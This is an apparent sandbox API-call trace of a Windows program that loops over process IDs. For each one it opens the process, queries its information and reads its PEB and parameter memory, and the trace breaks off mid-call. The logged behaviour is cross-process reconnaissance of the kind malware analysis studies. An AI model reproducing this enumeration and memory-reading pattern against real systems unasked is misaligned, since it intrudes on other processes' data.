GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0172.540] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0172.558] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1018) returned 0x26c [0172.559] GetLastError () returned 0x0 [0172.559] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0172.559] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4aa018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0172.559] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0172.559] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x311d10, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0172.559] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3118f8, lpBuffer=0x670ffc3f0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.560] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0172.562] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0172.562] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4aa020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.562] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3112e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0172.563] malloc (_Size=0x80) returned 0x196ef0d4f30 [0172.563] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x311970, lpBuffer=0x196ef0d4f30, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0172.564] free (_Block=0x196ef0d4f30) [0172.565] CloseHandle (hObject=0x26c) returned 1 [0172.565] _ui64tow_s (in: _Value=0x1020, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4128") returned 0x0 [0172.571] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4128") returned 4 [0172.572] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0172.572] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0172.713] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1020) returned 0x26c [0172.713] GetLastError () returned 0x0 [0172.713] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0172.714] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x20c018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0172.714] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0172.714] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x441cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0172.714] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4418f8, lpBuffer=0x670ffc3f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.716] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0172.720] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0172.720] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x20c020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.720] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4412e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0172.720] malloc (_Size=0x66) returned 0x196ef0d06f0 [0172.720] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x441956, lpBuffer=0x196ef0d06f0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.721] free (_Block=0x196ef0d06f0) [0172.723] CloseHandle (hObject=0x26c) returned 1 [0172.931] _ui64tow_s (in: _Value=0x1038, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0172.938] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4152") returned 4 [0172.939] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0172.939] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0172.958] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x26c [0172.958] GetLastError () returned 0x0 [0172.958] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0172.958] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x30f018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0172.958] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0172.959] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1d20, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0172.959] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e18f8, lpBuffer=0x670ffc3f0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.960] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0172.961] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0172.961] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x30f020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.961] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0172.961] malloc (_Size=0x82) returned 0x196ef0d4f30 [0172.961] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1972, lpBuffer=0x196ef0d4f30, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0172.962] free (_Block=0x196ef0d4f30) [0172.963] CloseHandle (hObject=0x26c) returned 1 [0172.963] _ui64tow_s (in: _Value=0x1040, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0172.968] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4160") returned 4 [0172.969] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0172.969] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0173.458] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x26c [0173.458] GetLastError () returned 0x0 [0173.459] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0173.459] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3da018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0173.459] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0173.459] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4c1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0173.459] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4c18f8, lpBuffer=0x670ffc3f0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0173.460] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0173.462] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0173.462] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3da020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0173.462] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4c12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0173.462] malloc (_Size=0x5e) returned 0x196ef0d0610 [0173.462] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4c194e, lpBuffer=0x196ef0d0610, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0173.464] free (_Block=0x196ef0d0610) [0173.464] CloseHandle (hObject=0x26c) returned 1 [0173.465] _ui64tow_s (in: _Value=0x1050, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0173.472] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4176") returned 4 [0173.473] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0173.473] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0173.558] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0x26c [0173.558] GetLastError () returned 0x0 [0173.559] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0173.559] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x232018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0173.559] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0173.559] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1cc0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0173.559] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e18f8, lpBuffer=0x670ffc3f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0173.560] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0173.562] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0173.562] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x232020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0173.562] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0173.562] malloc (_Size=0x64) returned 0x196ef0d0610 [0173.562] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1954, lpBuffer=0x196ef0d0610, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0173.563] free (_Block=0x196ef0d0610) [0173.564] CloseHandle (hObject=0x26c) returned 1 [0173.564] _ui64tow_s (in: _Value=0x1058, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4184") returned 0x0 [0173.569] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4184") returned 4 [0173.571] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0173.571] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0173.602] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1058) returned 0x26c [0173.602] GetLastError () returned 0x0 [0173.602] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0173.602] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5ef018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0173.603] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0173.603] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7a1cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0173.603] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7a18f8, lpBuffer=0x670ffc3f0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0173.604] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0173.606] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0173.606] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5ef020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0173.606] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7a12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0173.607] malloc (_Size=0x72) returned 0x196ef0d31b0 [0173.607] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7a1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0173.608] free (_Block=0x196ef0d31b0) [0173.609] CloseHandle (hObject=0x26c) returned 1 [0173.610] _ui64tow_s (in: _Value=0x1064, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0173.751] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4196") returned 4 [0173.753] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0173.753] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0173.771] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x26c [0173.771] GetLastError () returned 0x0 [0173.771] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0173.771] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x598018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0173.772] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0173.772] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x791cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0173.772] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7918f8, lpBuffer=0x670ffc3f0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0173.773] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0173.775] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0173.775] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x598020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0173.775] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0173.775] malloc (_Size=0x5e) returned 0x196ef0d0450 [0173.775] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x79194e, lpBuffer=0x196ef0d0450, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0173.776] free (_Block=0x196ef0d0450) [0173.777] CloseHandle (hObject=0x26c) returned 1 [0173.778] _ui64tow_s (in: _Value=0x1074, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4212") returned 0x0 [0173.786] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4212") returned 4 [0173.788] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0173.788] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0173.989] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1074) returned 0x26c [0173.989] GetLastError () returned 0x0 [0173.989] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0173.989] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x334018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0173.990] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0173.990] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x461d70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0173.990] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4618f8, lpBuffer=0x670ffc3f0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0173.991] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0173.992] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0173.992] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x334020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0173.993] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0173.993] malloc (_Size=0x9c) returned 0x196ef0d4f30 [0173.993] ReadProcessMemory (in: hProcess=0x26c, 